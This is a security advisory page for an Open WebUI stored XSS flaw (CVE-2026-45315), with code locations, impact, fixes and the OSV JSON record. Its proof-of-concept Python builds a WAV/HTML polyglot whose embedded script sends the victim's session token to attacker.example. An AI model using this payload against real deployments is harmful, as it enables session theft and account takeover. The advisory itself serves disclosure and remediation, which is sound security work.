PYSEC-2026-2748

Vulnerability from pysec - Published: 2026-07-13 15:19 - Updated: 2026-07-13 16:05
VLAI
Details

Summary

The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded runs in the Open WebUI origin.

Details

Verified on main @ 8dae237a (v0.9.2):
- backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No
allowlist, no cross-check against file.content_type.
- backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension
and sets no Content-Disposition.
- backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload passes regardless of the actual body.
- backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True.
- src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin.
- backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False.

PoC

Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition. ```python import struct, httpx

data = b'\x80' * 44100
wav = struct.pack('<4sI4s4sIHHIIHH4sI', b'RIFF', 36 + len(data), b'WAVE',
b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,
b'data', len(data)) + data
payload = wav + b'alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)'

r = httpx.post(
'https://VICTIM/api/v1/audio/transcriptions',
headers={'Authorization': f'Bearer {ATTACKER_JWT}'},
files={'file': ('pwn.html', payload, 'audio/wav')},
)
fn = r.json()['filename'] # '.html' #Send victim to: https://VICTIM/cache/audio/transcriptions/
```

https://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408

Impact

Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.

Affected: <= 0.9.2.

Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force
Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.

Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.

Impacted products
Name purl
open-webui pkg:pypi/open-webui

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui",
        "purl": "pkg:pypi/open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.124",
        "0.1.125",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.2.3",
        "0.2.4",
        "0.2.5",
        "0.3.0",
        "0.3.1",
        "0.3.10",
        "0.3.12",
        "0.3.13",
        "0.3.14",
        "0.3.15",
        "0.3.16",
        "0.3.17",
        "0.3.17.dev2",
        "0.3.17.dev3",
        "0.3.17.dev4",
        "0.3.17.dev5",
        "0.3.18",
        "0.3.19",
        "0.3.2",
        "0.3.20",
        "0.3.21",
        "0.3.22",
        "0.3.23",
        "0.3.24",
        "0.3.25",
        "0.3.26",
        "0.3.27",
        "0.3.27.dev1",
        "0.3.27.dev2",
        "0.3.27.dev3",
        "0.3.28",
        "0.3.29",
        "0.3.3",
        "0.3.30",
        "0.3.30.dev1",
        "0.3.30.dev2",
        "0.3.31",
        "0.3.31.dev1",
        "0.3.32",
        "0.3.33",
        "0.3.33.dev1",
        "0.3.34",
        "0.3.35",
        "0.3.4",
        "0.3.5",
        "0.3.6",
        "0.3.7",
        "0.3.8",
        "0.3.9",
        "0.4.0",
        "0.4.0.dev1",
        "0.4.0.dev2",
        "0.4.1",
        "0.4.2",
        "0.4.3",
        "0.4.4",
        "0.4.5",
        "0.4.6",
        "0.4.6.dev1",
        "0.4.7",
        "0.4.8",
        "0.5.0",
        "0.5.0.dev1",
        "0.5.0.dev2",
        "0.5.1",
        "0.5.10",
        "0.5.11",
        "0.5.12",
        "0.5.13",
        "0.5.14",
        "0.5.15",
        "0.5.16",
        "0.5.17",
        "0.5.18",
        "0.5.19",
        "0.5.2",
        "0.5.20",
        "0.5.3",
        "0.5.3.dev1",
        "0.5.4",
        "0.5.5",
        "0.5.6",
        "0.5.7",
        "0.5.8",
        "0.5.9",
        "0.6.0",
        "0.6.1",
        "0.6.10",
        "0.6.11",
        "0.6.12",
        "0.6.13",
        "0.6.14",
        "0.6.15",
        "0.6.16",
        "0.6.18",
        "0.6.19",
        "0.6.2",
        "0.6.20",
        "0.6.21",
        "0.6.22",
        "0.6.23",
        "0.6.24",
        "0.6.25",
        "0.6.26",
        "0.6.26.dev1",
        "0.6.27",
        "0.6.28",
        "0.6.29",
        "0.6.3",
        "0.6.30",
        "0.6.31",
        "0.6.32",
        "0.6.33",
        "0.6.34",
        "0.6.35",
        "0.6.36",
        "0.6.37",
        "0.6.38",
        "0.6.39",
        "0.6.4",
        "0.6.40",
        "0.6.41",
        "0.6.42",
        "0.6.43",
        "0.6.5",
        "0.6.6",
        "0.6.6.dev1",
        "0.6.7",
        "0.6.8",
        "0.6.9",
        "0.7.0",
        "0.7.1",
        "0.7.2",
        "0.8.0",
        "0.8.1",
        "0.8.10",
        "0.8.11",
        "0.8.12",
        "0.8.2",
        "0.8.3",
        "0.8.4",
        "0.8.5",
        "0.8.6",
        "0.8.7",
        "0.8.8",
        "0.8.9",
        "0.9.0",
        "0.9.1",
        "0.9.2"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45315",
    "GHSA-m8f9-9whg-f4xr"
  ],
  "details": "## Summary                                                                                                                                                \n\n  The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/\u003cuuid\u003e.\u003cext\u003e. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL \u2014 the response comes back as text/html and any embedded \u003cscript\u003e runs in the Open WebUI origin.\n\n## Details\n  Verified on main @ 8dae237a (v0.9.2):                                                                                                       \n  - backend/open_webui/routers/audio.py:1244-1249 \u2014 ext = safe_name.rsplit(\u0027.\u0027, 1)[-1] from user-supplied filename, then filename = f\u0027{id}.{ext}\u0027. No      \n  allowlist, no cross-check against file.content_type.                                                                                                   \n  - backend/open_webui/main.py:2768-2779 \u2014 /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension  \n  and sets no Content-Disposition.                                                                                                                         \n  - backend/open_webui/utils/misc.py:889-921 \u2014 strict_match_mime_type defaults to [\u0027audio/*\u0027, \u0027video/webm\u0027], so Content-Type: audio/wav on the upload\n  passes regardless of the actual body.                                                                                                                    \n  - backend/open_webui/config.py:1482 \u2014 USER_PERMISSIONS_CHAT_STT defaults to True.                                                                      \n  - src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, \u2026) \u2014 JWT lives in localStorage.token, reachable from JS in the origin.                       \n  - backend/open_webui/utils/oauth.py:1736-1739 \u2014 OAuth token cookie set with httponly=False.                                                              \n                                                                                                                                                           \n##  PoC                                                                                                                                                      \n                                                                                                                                                           \n  Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was \n  Content-Type: text/html; charset=utf-8 with no Content-Disposition.\n  ```python\n  import struct, httpx                                                                                                                                   \n\n  data = b\u0027\\x80\u0027 * 44100                                                                                                                                   \n  wav  = struct.pack(\u0027\u003c4sI4s4sIHHIIHH4sI\u0027,\n          b\u0027RIFF\u0027, 36 + len(data), b\u0027WAVE\u0027,                                                                                                                \n          b\u0027fmt \u0027, 16, 1, 1, 44100, 44100, 1, 8,                                                                                                         \n          b\u0027data\u0027, len(data)) + data                                                                                                                       \n  payload = wav + b\u0027\u003cscript\u003ealert(document.domain);fetch(\"https://attacker.example/x?t=\"+localStorage.token)\u003c/script\u003e\u0027\n                      \n                                                                                                                                                           \n  r = httpx.post(                                                                                                                                          \n      \u0027https://VICTIM/api/v1/audio/transcriptions\u0027,                                                                                                        \n      headers={\u0027Authorization\u0027: f\u0027Bearer {ATTACKER_JWT}\u0027},                                                                                                 \n      files={\u0027file\u0027: (\u0027pwn.html\u0027, payload, \u0027audio/wav\u0027)},                                                                                                  \n  )                                                                                                                                                        \n  fn = r.json()[\u0027filename\u0027]      # \u0027\u003cuuid\u003e.html\u0027\n #Send victim to: https://VICTIM/cache/audio/transcriptions/\u003cfn\u003e                                                                 \n```\n\n\nhttps://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408\n\n\n\n                                                                                                                                        \n##  Impact                                                                                                                                                   \n                                                                                                                                                           \n  Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user \u2014 including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI\u0027s existing admin-only plugin mechanism, but that path is out of scope for this report.                                                                   \n\n  Affected: \u003c= 0.9.2.\n\n  Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force         \n  Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.\n                                                                                                                                                           \n  Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.",
  "id": "PYSEC-2026-2748",
  "modified": "2026-07-13T16:05:14.178691Z",
  "published": "2026-07-13T15:19:06.047378Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-m8f9-9whg-f4xr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45315"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.3"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/open-webui"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-m8f9-9whg-f4xr"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…